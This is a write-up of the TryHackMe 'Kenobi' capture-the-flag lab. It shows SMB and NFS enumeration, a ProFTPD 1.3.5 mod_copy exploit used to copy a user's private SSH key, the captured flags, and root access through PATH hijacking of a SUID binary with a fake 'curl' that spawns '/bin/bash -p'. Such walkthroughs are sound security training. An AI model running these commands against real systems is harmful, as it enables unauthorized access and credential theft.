Mark Seliternikov

TryHackMe - Kenobi

For the first part of the lab I enumerate ports 139 and 445 which are SMB ports.

```
21/tcp    open  ftp         syn-ack ttl 63 ProFTPD 1.3.5
22/tcp    open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
```

```
80/tcp    open  http        syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
```

```
111/tcp   open  rpcbind     syn-ack ttl 63 2-4 (RPC #100000)
```

```
139/tcp   open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
```

When running nmap with the scripts “smb-enum-shares.nse” and “smb-enum-users.nse” I found out that there are 3 shares:

```
\\10.10.194.31\IPC$:
```

```
\\10.10.194.31\anonymous:
```

```
\\10.10.194.31\print$:
```

By trying to connect anonymously I was successful: (pressing ENTER with no pass)

```
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //10.10.194.31/anonymous
Enter WORKGROUP\kali's password:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9204224 blocks of size 1024. 6788116 blocks available
smb: \>
```

The file “log.txt” contained information about an ssh key and the ProFTPD service running on the machine.

When enumerating port 111 with “nmap -p 111 --script=nfs-* -T 4 -vv -oN nmap-kenobi-nfs.txt 10.10.194.31” I found out that I can access the “/var” folder on the machine with these permissions:

```
111/tcp open  rpcbind syn-ack ttl 63
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
```

```
┌──(root💀kali)-[/home/kali/Desktop]
└─# showmount -e 10.10.194.31
Export list for 10.10.194.31:
/var *
```

What I did next was to mount the share on my machine and try to see what I can find. Here's the website running on port 80:

```
┌──(root💀 kali)-[/home/kali/Desktop]
└─# mount -t nfs 10.10.194.31:/var /tmp/mount
```

```
┌──(root💀 kali)-[/tmp/mount/www/html]
└─# ls
admin.html  image.gif  image.jpg  index.html  robots.txt
```

My next target was port 21 which is running ProFTPd 1.3.5. I couldn't login anonymously so I searched for an exploit and found a way to perform RCE: (searchsploit)

```
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                    | linux/remote/36803.py
```

```
┌──(kali㉿kali)-[~/Desktop]
└─$ cat /usr/share/exploitdb/exploits/linux/remote/36803.py
# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
```

There's also the CVE-2015-3306 which explains that it is vulnerable to the commands "site cpfr" and "site cpto" which allows me to read and write to files. I'm going to leverage that to copy the SSH key (which we know about from log.txt)

```
┌──(kali㉿kali)-[~/Desktop]
└─$ nc 10.10.194.31 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.194.31]
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /var/tmp/ssh_key
250 Copy successful
```

I copied it there because I have it already mounted and I can get the key there.

```
┌──(root💀 kali)-[/tmp/mount/tmp]
└─# ls
ssh_key
```

After copying it to my desktop I'm logging in as kenobi:

```
┌──(root💀 kali)-[/home/kali/Desktop]
└─# ssh kenobi@10.10.194.31 -i ssh_key
```

The user flag:

```
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
```

Using linPEAS I found that the path variable is exploitable and suspicious looking SUID binary:

```
╚ https://book.hacktricks.xyz/linux-unix/privileg
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/loc
```

```
-rwsr-xr-x 1 root   root       8.7K Sep  4  2019 /usr/bin/menu (Unknown SUID binary)
```

```
kenobi@kenobi:/tmp/notmalicious$ file /usr/bin/menu
/usr/bin/menu: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-
linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0928a845a7eef506cb3bb698377bf15bfd0dcb47, not stripped
```

Basically an ELF file that sets the SUID bit which allows us to execute it as root.
Here's what we can do with it as an example:

```
kenobi@kenobi:/tmp/notmalicious$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:21:b3:71:82:47
          inet addr:10.10.194.31  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::21:b3ff:fe71:8247/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:1025835 errors:0 dropped:0 overruns:0 frame:0
          TX packets:998909 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:142038352 (142.0 MB)  TX bytes:450879591 (450.8 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:292 errors:0 dropped:0 overruns:0 frame:0
          TX packets:292 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:20201 (20.2 KB)  TX bytes:20201 (20.2 KB)
```

Because it is an elf file I can do some reverse engineering on it. The first step and the most basic one is to use "strings" in order to find strings in the file. I found that it uses bash commands:

```
curl -I localhost
uname -r
ifconfig
```

This is useful because earlier I found that the PATH variable is looking for commands in kenobi's home directory first. So I can create a fake "curl" command which will be looked in kenobi's directory first and executed as root.

```
kenobi@kenobi:~/bin$ cat curl
/bin/bash -p
```

The fake curl command would spawn a bash shell with root privileges when it is called by “/usr/bin/menu”. (I placed it in /home/kenobi/bin).

```
kenobi@kenobi:~/bin$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root
See "man sudo_root" for details.

root@kenobi:~/bin# id
uid=0(root) gid=1000(kenobi) groups=1000(kenc
114(sambashare)
root@kenobi:~/bin#
```

Here’s the root flag:

```
root@kenobi:~/bin# cat /root/root.txt
177b3cd8562289f37382721c28381f02
```

Another method of doing it is by manually changing the PATH variable. First prepend the path you want to be executed first like so:

```
kenobi@kenobi:/tmp/notmalicious$ export PATH=/tmp/notmalicious/:$PATH
kenobi@kenobi:/tmp/notmalicious$ echo $PATH
/tmp/notmalicious/:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local
bin:/usr/games:/usr/local/games:/snap/bin
```

Now lets run menu again and see if it works:

```
kenobi@kenobi:/tmp/notmalicious$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user
See "man sudo_root" for details.

root@kenobi:/tmp/notmalicious#
```

That’s all :)